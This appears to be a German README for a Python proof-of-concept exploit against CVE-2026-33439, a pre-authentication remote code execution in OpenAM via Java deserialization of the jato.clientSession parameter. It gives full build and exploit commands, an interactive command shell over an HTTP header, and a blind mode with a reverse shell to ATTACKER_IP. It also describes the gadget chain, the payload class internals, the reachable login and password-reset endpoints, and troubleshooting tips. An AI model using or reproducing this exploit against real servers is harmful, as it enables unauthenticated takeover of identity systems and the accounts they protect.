
Python-PoC, das CVE-2026-33439 ausnutzt, eine Pre-Auth-RCE in OpenAM über Java-Deserialisierung des Parameters jato.clientSession, mit interaktiven und Blind-Shell-Modi.
Pre-Authentifizierungs-Remote-Code-Execution in OpenIdentityPlatform OpenAM <= 16.0.5 über unsichere Java-Deserialisierung des Parameters jato.clientSession (CVSS 9.8).
Nur für autorisierte Sicherheitstests.
# 1. Build payload (downloads JARs from Maven Central + compiles gadget chain)
python build.py
# 2. Exploit — interactive shell (output returned in HTTP response)
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell
build.py — muss mit der JVM-Version des Zielservers übereinstimmen; JDK 25 erzeugt inkompatible serialisierte Objekte)Die EvilTranslet liest den HTTP-Header cmd aus der Anfrage, führt ihn aus und schreibt stdout direkt in die HTTP-Antwort. Kein Listener erforderlich.
# Build interactive payload (no --command flag)
python build.py
# Single command
python exploit.py --url https://target/openam/ui/PWResetUserValidation "whoami"
# Interactive pseudo-shell
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell
# Auto-detect endpoint from base URL
python exploit.py --url https://target/openam/ --probe --shell
Der Befehl wird in den EvilTranslet-Bytecode eingebettet. Es wird keine Ausgabe zurückgegeben; verwenden Sie einen Listener (nc usw.), um Callbacks abzufangen.
# Build blind payload with reverse shell command
python build.py --command "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
# Terminal 1: listener
nc -lvnp 4444
# Terminal 2: deliver to all JATO endpoints
python exploit.py --url https://target/openam/ --all
build.py| Flag | Beschreibung |
|---|---|
| (keine Flags) | Interaktives Payload erstellen (liest cmd-Header zur Laufzeit) |
--command "CMD" | Blindes Payload mit in den Bytecode eingebettetem CMD erstellen |
--jars DIR | Lokales JAR-Verzeichnis anstelle des Downloads verwenden (Standard: ./libs) |
--download-only | Nur JARs herunterladen, nicht kompilieren |
exploit.py| Flag | Beschreibung |
|---|---|
--url URL | Ziel-URL (erforderlich) — vollständiger Endpunkt oder Basis-URL mit --probe/--all |
--shell | Interaktive Pseudo-Shell (interaktiver Modus) |
--probe | Anfälligen Endpunkt automatisch aus der Basis-URL erkennen |
--all | Payload an ALLE JATO-Endpunkte liefern (blinder Modus) |
--method GET|POST | HTTP-Übertragungsmethode (Standard: GET) |
--proxy URL | HTTP-Proxy (z. B. http://127.0.0.1:8080 für Burp) |
--timeout SECS | Anfrage-Timeout (Standard: 15) |
--verify-tls | TLS-Zertifikatsüberprüfung aktivieren |
--debug | Details zu Anfrage/Antwort anzeigen |
Der gesamte Quellcode ist im Repository — keine undurchsichtigen Blobs. Die Java-Quellen sind in build.py als lesbare String-Konstanten eingebettet. Überprüfen Sie nach dem Build die Ausgabe:
python verify.py # summary: classes, integrity, red-flag scan
python verify.py --strings # all printable strings in the payload
python verify.py --hexdump # full hex dump
python verify.py --dump p.bin # export raw bytes for SerializationDumper / javap
PriorityQueue.readObject()
-> heapify() -> Column$ColumnComparator.compare()
-> Column.getTable().isSortedAscending()
-> Column.getProperty() -> PropertyUtils.getObjectPropertyValue()
-> TemplatesImpl.getOutputProperties()
-> defineTransletClasses() -> newInstance()
-> EvilTranslet.<clinit>() // command executes here
Thread.currentThread().getContextClassLoader().loadClass("com.iplanet.jato.RequestManager") — HTTP-Anfrage/-Antwort über den Webapp-Klassenlader abrufenrequest.getHeader("cmd") — den Befehl lesennew ProcessBuilder("/bin/sh", "-c", cmd) — ausführenresponse.reset() — vorherige JSP-Ausgabe löschentext/plain in die Antwort schreiben, dann den Ausgabestream schließenRuntime.getRuntime().exec(new String[]{"bash", "-c", "<baked-in command>"}) — fire and forgetJeder JATO-ViewBean-Endpunkt, der <jato:form>-Tags rendert und vor der Authentifizierung erreichbar ist:
| Endpunkt | Hinweise |
|---|---|
/openam/ui/PWResetUserValidation | Passwort-Zurücksetzung (am zuverlässigsten) |
/openam/ui/PWResetQuestion | Sicherheitsfragen zur Passwort-Zurücksetzung |
/openam/ui/Login | Anmeldeseite |
| Symptom | Ursache | Lösung |
|---|---|---|
| HTML-Seite anstelle der Befehlsausgabe zurückgegeben | JSP überschreibt die Antwort | --shell mit interaktivem Payload verwenden; oder in den blinden Modus wechseln |
| Deserialisierung wird nicht ausgelöst | JDK-Versionskonflikt | Mit JDK 21 neu erstellen: export JAVA_HOME=/path/to/jdk-21 |
| TLS-Handshake-Timeout | Server erfordert SNI-Hostnamen | Ziel zu /etc/hosts hinzufügen und Hostnamen statt IP verwenden |
javac nicht gefunden | JDK nicht installiert | apt install openjdk-21-jdk |
MIT